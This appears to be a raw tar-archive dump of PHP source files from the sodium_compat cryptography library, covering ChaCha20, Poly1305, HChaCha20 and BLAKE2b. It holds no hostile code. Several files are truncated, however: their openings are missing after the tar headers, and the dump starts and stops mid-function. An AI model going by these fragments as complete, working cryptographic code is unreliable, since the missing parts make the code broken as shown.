self::quarterRound($x1, $x6, $x11, $x12); # QUARTERROUND( x2, x7, x8, x13) list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13); # QUARTERROUND( x3, x4, x9, x14) list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14); } /* x0 = PLUS(x0, j0); x1 = PLUS(x1, j1); x2 = PLUS(x2, j2); x3 = PLUS(x3, j3); x4 = PLUS(x4, j4); x5 = PLUS(x5, j5); x6 = PLUS(x6, j6); x7 = PLUS(x7, j7); x8 = PLUS(x8, j8); x9 = PLUS(x9, j9); x10 = PLUS(x10, j10); x11 = PLUS(x11, j11); x12 = PLUS(x12, j12); x13 = PLUS(x13, j13); x14 = PLUS(x14, j14); x15 = PLUS(x15, j15); */ $x0 = $x0->addInt32($j0); $x1 = $x1->addInt32($j1); $x2 = $x2->addInt32($j2); $x3 = $x3->addInt32($j3); $x4 = $x4->addInt32($j4); $x5 = $x5->addInt32($j5); $x6 = $x6->addInt32($j6); $x7 = $x7->addInt32($j7); $x8 = $x8->addInt32($j8); $x9 = $x9->addInt32($j9); $x10 = $x10->addInt32($j10); $x11 = $x11->addInt32($j11); $x12 = $x12->addInt32($j12); $x13 = $x13->addInt32($j13); $x14 = $x14->addInt32($j14); $x15 = $x15->addInt32($j15); /* x0 = XOR(x0, LOAD32_LE(m + 0)); x1 = XOR(x1, LOAD32_LE(m + 4)); x2 = XOR(x2, LOAD32_LE(m + 8)); x3 = XOR(x3, LOAD32_LE(m + 12)); x4 = XOR(x4, LOAD32_LE(m + 16)); x5 = XOR(x5, LOAD32_LE(m + 20)); x6 = XOR(x6, LOAD32_LE(m + 24)); x7 = XOR(x7, LOAD32_LE(m + 28)); x8 = XOR(x8, LOAD32_LE(m + 32)); x9 = XOR(x9, LOAD32_LE(m + 36)); x10 = XOR(x10, LOAD32_LE(m + 40)); x11 = XOR(x11, LOAD32_LE(m + 44)); x12 = XOR(x12, LOAD32_LE(m + 48)); x13 = XOR(x13, LOAD32_LE(m + 52)); x14 = XOR(x14, LOAD32_LE(m + 56)); x15 = XOR(x15, LOAD32_LE(m + 60)); */ $x0 = $x0->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4))); $x1 = $x1->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 4, 4))); $x2 = $x2->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 8, 4))); $x3 = $x3->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4))); $x4 = $x4->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 16, 4))); $x5 = $x5->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 20, 4))); $x6 = $x6->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 24, 4))); $x7 = $x7->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 28, 4))); $x8 = $x8->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 32, 4))); $x9 = $x9->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 36, 4))); $x10 = $x10->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 40, 4))); $x11 = $x11->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 44, 4))); $x12 = $x12->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 48, 4))); $x13 = $x13->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 52, 4))); $x14 = $x14->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 56, 4))); $x15 = $x15->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 60, 4))); /* j12 = PLUSONE(j12); if (!j12) { j13 = PLUSONE(j13); } */ /** @var ParagonIE_Sodium_Core32_Int32 $j12 */ $j12 = $j12->addInt(1); if ($j12->limbs[0] === 0 && $j12->limbs[1] === 0) { $j13 = $j13->addInt(1); } /* STORE32_LE(c + 0, x0); STORE32_LE(c + 4, x1); STORE32_LE(c + 8, x2); STORE32_LE(c + 12, x3); STORE32_LE(c + 16, x4); STORE32_LE(c + 20, x5); STORE32_LE(c + 24, x6); STORE32_LE(c + 28, x7); STORE32_LE(c + 32, x8); STORE32_LE(c + 36, x9); STORE32_LE(c + 40, x10); STORE32_LE(c + 44, x11); STORE32_LE(c + 48, x12); STORE32_LE(c + 52, x13); STORE32_LE(c + 56, x14); STORE32_LE(c + 60, x15); */ $block = $x0->toReverseString() . $x1->toReverseString() . $x2->toReverseString() . $x3->toReverseString() . $x4->toReverseString() . $x5->toReverseString() . $x6->toReverseString() . $x7->toReverseString() . $x8->toReverseString() . $x9->toReverseString() . $x10->toReverseString() . $x11->toReverseString() . $x12->toReverseString() . $x13->toReverseString() . $x14->toReverseString() . $x15->toReverseString(); /* Partial block */ if ($bytes < 64) { $c .= self::substr($block, 0, $bytes); break; } /* Full block */ $c .= $block; $bytes -= 64; if ($bytes <= 0) { break; } $message = self::substr($message, 64); } /* end for(;;) loop */ $ctx[12] = $j12; $ctx[13] = $j13; return $c; } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len = 64, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce, $ic), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce, $ic), $message ); } } sodium_compat/src/Core32/Poly1305.php000064400000003062147177035010013206 0ustar00update($m) ->finish(); } /** * @internal You should not use this directly from another application * * @param string $mac * @param string $m * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function onetimeauth_verify($mac, $m, $key) { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Key must be 32 bytes long.' ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( self::substr($key, 0, 32) ); $calc = $state ->update($m) ->finish(); return self::verify_16($calc, $mac); } } sodium_compat/src/Core32/Poly1305/State.php000064400000037135147177035010014276 0ustar00 */ protected $buffer = array(); /** * @var bool */ protected $final = false; /** * @var array */ public $h; /** * @var int */ protected $leftover = 0; /** * @var array */ public $r; /** * @var array */ public $pad; /** * ParagonIE_Sodium_Core32_Poly1305_State constructor. * * @internal You should not use this directly from another application * * @param string $key * @throws InvalidArgumentException * @throws SodiumException * @throws TypeError */ public function __construct($key = '') { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Poly1305 requires a 32-byte key' ); } /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */ $this->r = array( // st->r[0] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4)) ->setUnsignedInt(true) ->mask(0x3ffffff), // st->r[1] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 3, 4)) ->setUnsignedInt(true) ->shiftRight(2) ->mask(0x3ffff03), // st->r[2] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 6, 4)) ->setUnsignedInt(true) ->shiftRight(4) ->mask(0x3ffc0ff), // st->r[3] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 9, 4)) ->setUnsignedInt(true) ->shiftRight(6) ->mask(0x3f03fff), // st->r[4] = ... ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4)) ->setUnsignedInt(true) ->shiftRight(8) ->mask(0x00fffff) ); /* h = 0 */ $this->h = array( new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true), new ParagonIE_Sodium_Core32_Int32(array(0, 0), true) ); /* save pad for later */ $this->pad = array( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4)) ->setUnsignedInt(true)->toInt64(), ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4)) ->setUnsignedInt(true)->toInt64(), ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4)) ->setUnsignedInt(true)->toInt64(), ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4)) ->setUnsignedInt(true)->toInt64(), ); $this->leftover = 0; $this->final = false; } /** * @internal You should not use this directly from another application * * @param string $message * @return self * @throws SodiumException * @throws TypeError */ public function update($message = '') { $bytes = self::strlen($message); /* handle leftover */ if ($this->leftover) { /** @var int $want */ $want = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - $this->leftover; if ($want > $bytes) { $want = $bytes; } for ($i = 0; $i < $want; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } // We snip off the leftmost bytes. $message = self::substr($message, $want); $bytes = self::strlen($message); $this->leftover += $want; if ($this->leftover < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { // We still don't have enough to run $this->blocks() return $this; } $this->blocks( self::intArrayToString($this->buffer), ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ); $this->leftover = 0; } /* process full blocks */ if ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { /** @var int $want */ $want = $bytes & ~(ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - 1); if ($want >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { /** @var string $block */ $block = self::substr($message, 0, $want); if (self::strlen($block) >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { $this->blocks($block, $want); $message = self::substr($message, $want); $bytes = self::strlen($message); } } } /* store leftover */ if ($bytes) { for ($i = 0; $i < $bytes; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } $this->leftover = (int) $this->leftover + $bytes; } return $this; } /** * @internal You should not use this directly from another application * * @param string $message * @param int $bytes * @return self * @throws SodiumException * @throws TypeError */ public function blocks($message, $bytes) { if (self::strlen($message) < 16) { $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT); } $hibit = ParagonIE_Sodium_Core32_Int32::fromInt((int) ($this->final ? 0 : 1 << 24)); /* 1 << 128 */ $hibit->setUnsignedInt(true); $zero = new ParagonIE_Sodium_Core32_Int64(array(0, 0, 0, 0), true); /** * @var ParagonIE_Sodium_Core32_Int64 $d0 * @var ParagonIE_Sodium_Core32_Int64 $d1 * @var ParagonIE_Sodium_Core32_Int64 $d2 * @var ParagonIE_Sodium_Core32_Int64 $d3 * @var ParagonIE_Sodium_Core32_Int64 $d4 * @var ParagonIE_Sodium_Core32_Int64 $r0 * @var ParagonIE_Sodium_Core32_Int64 $r1 * @var ParagonIE_Sodium_Core32_Int64 $r2 * @var ParagonIE_Sodium_Core32_Int64 $r3 * @var ParagonIE_Sodium_Core32_Int64 $r4 * * @var ParagonIE_Sodium_Core32_Int32 $h0 * @var ParagonIE_Sodium_Core32_Int32 $h1 * @var ParagonIE_Sodium_Core32_Int32 $h2 * @var ParagonIE_Sodium_Core32_Int32 $h3 * @var ParagonIE_Sodium_Core32_Int32 $h4 */ $r0 = $this->r[0]->toInt64(); $r1 = $this->r[1]->toInt64(); $r2 = $this->r[2]->toInt64(); $r3 = $this->r[3]->toInt64(); $r4 = $this->r[4]->toInt64(); $s1 = $r1->toInt64()->mulInt(5, 3); $s2 = $r2->toInt64()->mulInt(5, 3); $s3 = $r3->toInt64()->mulInt(5, 3); $s4 = $r4->toInt64()->mulInt(5, 3); $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; while ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) { /* h += m[i] */ $h0 = $h0->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4)) ->mask(0x3ffffff) )->toInt64(); $h1 = $h1->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 3, 4)) ->shiftRight(2) ->mask(0x3ffffff) )->toInt64(); $h2 = $h2->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 6, 4)) ->shiftRight(4) ->mask(0x3ffffff) )->toInt64(); $h3 = $h3->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 9, 4)) ->shiftRight(6) ->mask(0x3ffffff) )->toInt64(); $h4 = $h4->addInt32( ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4)) ->shiftRight(8) ->orInt32($hibit) )->toInt64(); /* h *= r */ $d0 = $zero ->addInt64($h0->mulInt64($r0, 25)) ->addInt64($s4->mulInt64($h1, 26)) ->addInt64($s3->mulInt64($h2, 26)) ->addInt64($s2->mulInt64($h3, 26)) ->addInt64($s1->mulInt64($h4, 26)); $d1 = $zero ->addInt64($h0->mulInt64($r1, 25)) ->addInt64($h1->mulInt64($r0, 25)) ->addInt64($s4->mulInt64($h2, 26)) ->addInt64($s3->mulInt64($h3, 26)) ->addInt64($s2->mulInt64($h4, 26)); $d2 = $zero ->addInt64($h0->mulInt64($r2, 25)) ->addInt64($h1->mulInt64($r1, 25)) ->addInt64($h2->mulInt64($r0, 25)) ->addInt64($s4->mulInt64($h3, 26)) ->addInt64($s3->mulInt64($h4, 26)); $d3 = $zero ->addInt64($h0->mulInt64($r3, 25)) ->addInt64($h1->mulInt64($r2, 25)) ->addInt64($h2->mulInt64($r1, 25)) ->addInt64($h3->mulInt64($r0, 25)) ->addInt64($s4->mulInt64($h4, 26)); $d4 = $zero ->addInt64($h0->mulInt64($r4, 25)) ->addInt64($h1->mulInt64($r3, 25)) ->addInt64($h2->mulInt64($r2, 25)) ->addInt64($h3->mulInt64($r1, 25)) ->addInt64($h4->mulInt64($r0, 25)); /* (partial) h %= p */ $c = $d0->shiftRight(26); $h0 = $d0->toInt32()->mask(0x3ffffff); $d1 = $d1->addInt64($c); $c = $d1->shiftRight(26); $h1 = $d1->toInt32()->mask(0x3ffffff); $d2 = $d2->addInt64($c); $c = $d2->shiftRight(26); $h2 = $d2->toInt32()->mask(0x3ffffff); $d3 = $d3->addInt64($c); $c = $d3->shiftRight(26); $h3 = $d3->toInt32()->mask(0x3ffffff); $d4 = $d4->addInt64($c); $c = $d4->shiftRight(26); $h4 = $d4->toInt32()->mask(0x3ffffff); $h0 = $h0->addInt32($c->toInt32()->mulInt(5, 3)); $c = $h0->shiftRight(26); $h0 = $h0->mask(0x3ffffff); $h1 = $h1->addInt32($c); // Chop off the left 32 bytes. $message = self::substr( $message, ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ); $bytes -= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; } /** @var array $h */ $this->h = array($h0, $h1, $h2, $h3, $h4); return $this; } /** * @internal You should not use this directly from another application * * @return string * @throws SodiumException * @throws TypeError */ public function finish() { /* process the remaining block */ if ($this->leftover) { $i = $this->leftover; $this->buffer[$i++] = 1; for (; $i < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; ++$i) { $this->buffer[$i] = 0; } $this->final = true; $this->blocks( self::substr( self::intArrayToString($this->buffer), 0, ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ), $b = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE ); } /** * @var ParagonIE_Sodium_Core32_Int32 $f * @var ParagonIE_Sodium_Core32_Int32 $g0 * @var ParagonIE_Sodium_Core32_Int32 $g1 * @var ParagonIE_Sodium_Core32_Int32 $g2 * @var ParagonIE_Sodium_Core32_Int32 $g3 * @var ParagonIE_Sodium_Core32_Int32 $g4 * @var ParagonIE_Sodium_Core32_Int32 $h0 * @var ParagonIE_Sodium_Core32_Int32 $h1 * @var ParagonIE_Sodium_Core32_Int32 $h2 * @var ParagonIE_Sodium_Core32_Int32 $h3 * @var ParagonIE_Sodium_Core32_Int32 $h4 */ $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; $c = $h1->shiftRight(26); # $c = $h1 >> 26; $h1 = $h1->mask(0x3ffffff); # $h1 &= 0x3ffffff; $h2 = $h2->addInt32($c); # $h2 += $c; $c = $h2->shiftRight(26); # $c = $h2 >> 26; $h2 = $h2->mask(0x3ffffff); # $h2 &= 0x3ffffff; $h3 = $h3->addInt32($c); # $h3 += $c; $c = $h3->shiftRight(26); # $c = $h3 >> 26; $h3 = $h3->mask(0x3ffffff); # $h3 &= 0x3ffffff; $h4 = $h4->addInt32($c); # $h4 += $c; $c = $h4->shiftRight(26); # $c = $h4 >> 26; $h4 = $h4->mask(0x3ffffff); # $h4 &= 0x3ffffff; $h0 = $h0->addInt32($c->mulInt(5, 3)); # $h0 += self::mul($c, 5); $c = $h0->shiftRight(26); # $c = $h0 >> 26; $h0 = $h0->mask(0x3ffffff); # $h0 &= 0x3ffffff; $h1 = $h1->addInt32($c); # $h1 += $c; /* compute h + -p */ $g0 = $h0->addInt(5); $c = $g0->shiftRight(26); $g0 = $g0->mask(0x3ffffff); $g1 = $h1->addInt32($c); $c = $g1->shiftRight(26); $g1 = $g1->mask(0x3ffffff); $g2 = $h2->addInt32($c); $c = $g2->shiftRight(26); $g2 = $g2->mask(0x3ffffff); $g3 = $h3->addInt32($c); $c = $g3->shiftRight(26); $g3 = $g3->mask(0x3ffffff); $g4 = $h4->addInt32($c)->subInt(1 << 26); # $mask = ($g4 >> 31) - 1; /* select h if h < p, or h + -p if h >= p */ $mask = (int) (($g4->toInt() >> 31) + 1); $g0 = $g0->mask($mask); $g1 = $g1->mask($mask); $g2 = $g2->mask($mask); $g3 = $g3->mask($mask); $g4 = $g4->mask($mask); /** @var int $mask */ $mask = ~$mask; $h0 = $h0->mask($mask)->orInt32($g0); $h1 = $h1->mask($mask)->orInt32($g1); $h2 = $h2->mask($mask)->orInt32($g2); $h3 = $h3->mask($mask)->orInt32($g3); $h4 = $h4->mask($mask)->orInt32($g4); /* h = h % (2^128) */ $h0 = $h0->orInt32($h1->shiftLeft(26)); $h1 = $h1->shiftRight(6)->orInt32($h2->shiftLeft(20)); $h2 = $h2->shiftRight(12)->orInt32($h3->shiftLeft(14)); $h3 = $h3->shiftRight(18)->orInt32($h4->shiftLeft(8)); /* mac = (h + pad) % (2^128) */ $f = $h0->toInt64()->addInt64($this->pad[0]); $h0 = $f->toInt32(); $f = $h1->toInt64()->addInt64($this->pad[1])->addInt($h0->overflow); $h1 = $f->toInt32(); $f = $h2->toInt64()->addInt64($this->pad[2])->addInt($h1->overflow); $h2 = $f->toInt32(); $f = $h3->toInt64()->addInt64($this->pad[3])->addInt($h2->overflow); $h3 = $f->toInt32(); return $h0->toReverseString() . $h1->toReverseString() . $h2->toReverseString() . $h3->toReverseString(); } } sodium_compat/src/Core32/HChaCha20.php000064400000012261147177035010013334 0ustar00toReverseString() . $x1->toReverseString() . $x2->toReverseString() . $x3->toReverseString() . $x12->toReverseString() . $x13->toReverseString() . $x14->toReverseString() . $x15->toReverseString(); } } sodium_compat/src/Core32/BLAKE2b.php000064400000053464147177035010013027 0ustar00> */ public static $sigma = array( array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3), array( 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4), array( 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8), array( 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13), array( 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9), array( 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11), array( 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10), array( 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5), array( 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13 , 0), array( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), array( 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3) ); const BLOCKBYTES = 128; const OUTBYTES = 64; const KEYBYTES = 64; /** * Turn two 32-bit integers into a fixed array representing a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $high * @param int $low * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public static function new64($high, $low) { return ParagonIE_Sodium_Core32_Int64::fromInts($low, $high); } /** * Convert an arbitrary number into an SplFixedArray of two 32-bit integers * that represents a 64-bit integer. * * @internal You should not use this directly from another application * * @param int $num * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ protected static function to64($num) { list($hi, $lo) = self::numericTo64BitInteger($num); return self::new64($hi, $lo); } /** * Adds two 64-bit integers together, returning their sum as a SplFixedArray * containing two 32-bit integers (representing a 64-bit integer). * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param ParagonIE_Sodium_Core32_Int64 $y * @return ParagonIE_Sodium_Core32_Int64 */ protected static function add64($x, $y) { return $x->addInt64($y); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param ParagonIE_Sodium_Core32_Int64 $y * @param ParagonIE_Sodium_Core32_Int64 $z * @return ParagonIE_Sodium_Core32_Int64 */ public static function add364($x, $y, $z) { return $x->addInt64($y)->addInt64($z); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param ParagonIE_Sodium_Core32_Int64 $y * @return ParagonIE_Sodium_Core32_Int64 * @throws TypeError */ public static function xor64(ParagonIE_Sodium_Core32_Int64 $x, ParagonIE_Sodium_Core32_Int64 $y) { return $x->xorInt64($y); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Int64 $x * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public static function rotr64(ParagonIE_Sodium_Core32_Int64 $x, $c) { return $x->rotateRight($c); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public static function load64($x, $i) { /** @var int $l */ $l = (int) ($x[$i]) | ((int) ($x[$i+1]) << 8) | ((int) ($x[$i+2]) << 16) | ((int) ($x[$i+3]) << 24); /** @var int $h */ $h = (int) ($x[$i+4]) | ((int) ($x[$i+5]) << 8) | ((int) ($x[$i+6]) << 16) | ((int) ($x[$i+7]) << 24); return self::new64($h, $l); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @param ParagonIE_Sodium_Core32_Int64 $u * @return void * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ public static function store64(SplFixedArray $x, $i, ParagonIE_Sodium_Core32_Int64 $u) { $v = clone $u; $maxLength = $x->getSize() - 1; for ($j = 0; $j < 8; ++$j) { $k = 3 - ($j >> 1); $x[$i] = $v->limbs[$k] & 0xff; if (++$i > $maxLength) { return; } $v->limbs[$k] >>= 8; } } /** * This just sets the $iv static variable. * * @internal You should not use this directly from another application * * @return void * @throws SodiumException * @throws TypeError */ public static function pseudoConstructor() { static $called = false; if ($called) { return; } self::$iv = new SplFixedArray(8); self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908); self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b); self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b); self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1); self::$iv[4] = self::new64(0x510e527f, 0xade682d1); self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f); self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b); self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179); $called = true; } /** * Returns a fresh BLAKE2 context. * * @internal You should not use this directly from another application * * @return SplFixedArray * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @throws SodiumException * @throws TypeError */ protected static function context() { $ctx = new SplFixedArray(6); $ctx[0] = new SplFixedArray(8); // h $ctx[1] = new SplFixedArray(2); // t $ctx[2] = new SplFixedArray(2); // f $ctx[3] = new SplFixedArray(256); // buf $ctx[4] = 0; // buflen $ctx[5] = 0; // last_node (uint8_t) for ($i = 8; $i--;) { $ctx[0][$i] = self::$iv[$i]; } for ($i = 256; $i--;) { $ctx[3][$i] = 0; } $zero = self::new64(0, 0); $ctx[1][0] = $zero; $ctx[1][1] = $zero; $ctx[2][0] = $zero; $ctx[2][1] = $zero; return $ctx; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $buf * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedAssignment */ protected static function compress(SplFixedArray $ctx, SplFixedArray $buf) { $m = new SplFixedArray(16); $v = new SplFixedArray(16); for ($i = 16; $i--;) { $m[$i] = self::load64($buf, $i << 3); } for ($i = 8; $i--;) { $v[$i] = $ctx[0][$i]; } $v[ 8] = self::$iv[0]; $v[ 9] = self::$iv[1]; $v[10] = self::$iv[2]; $v[11] = self::$iv[3]; $v[12] = self::xor64($ctx[1][0], self::$iv[4]); $v[13] = self::xor64($ctx[1][1], self::$iv[5]); $v[14] = self::xor64($ctx[2][0], self::$iv[6]); $v[15] = self::xor64($ctx[2][1], self::$iv[7]); for ($r = 0; $r < 12; ++$r) { $v = self::G($r, 0, 0, 4, 8, 12, $v, $m); $v = self::G($r, 1, 1, 5, 9, 13, $v, $m); $v = self::G($r, 2, 2, 6, 10, 14, $v, $m); $v = self::G($r, 3, 3, 7, 11, 15, $v, $m); $v = self::G($r, 4, 0, 5, 10, 15, $v, $m); $v = self::G($r, 5, 1, 6, 11, 12, $v, $m); $v = self::G($r, 6, 2, 7, 8, 13, $v, $m); $v = self::G($r, 7, 3, 4, 9, 14, $v, $m); } for ($i = 8; $i--;) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::xor64($v[$i], $v[$i+8]) ); } } /** * @internal You should not use this directly from another application * * @param int $r * @param int $i * @param int $a * @param int $b * @param int $c * @param int $d * @param SplFixedArray $v * @param SplFixedArray $m * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m) { $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24); $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63); return $v; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param int $inc * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function increment_counter($ctx, $inc) { if ($inc < 0) { throw new SodiumException('Increasing by a negative number makes no sense.'); } $t = self::to64($inc); # S->t is $ctx[1] in our implementation # S->t[0] = ( uint64_t )( t >> 0 ); $ctx[1][0] = self::add64($ctx[1][0], $t); # S->t[1] += ( S->t[0] < inc ); if (!($ctx[1][0] instanceof ParagonIE_Sodium_Core32_Int64)) { throw new TypeError('Not an int64'); } /** @var ParagonIE_Sodium_Core32_Int64 $c*/ $c = $ctx[1][0]; if ($c->isLessThanInt($inc)) { $ctx[1][1] = self::add64($ctx[1][1], self::to64(1)); } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $p * @param int $plen * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall * @psalm-suppress MixedOperand */ public static 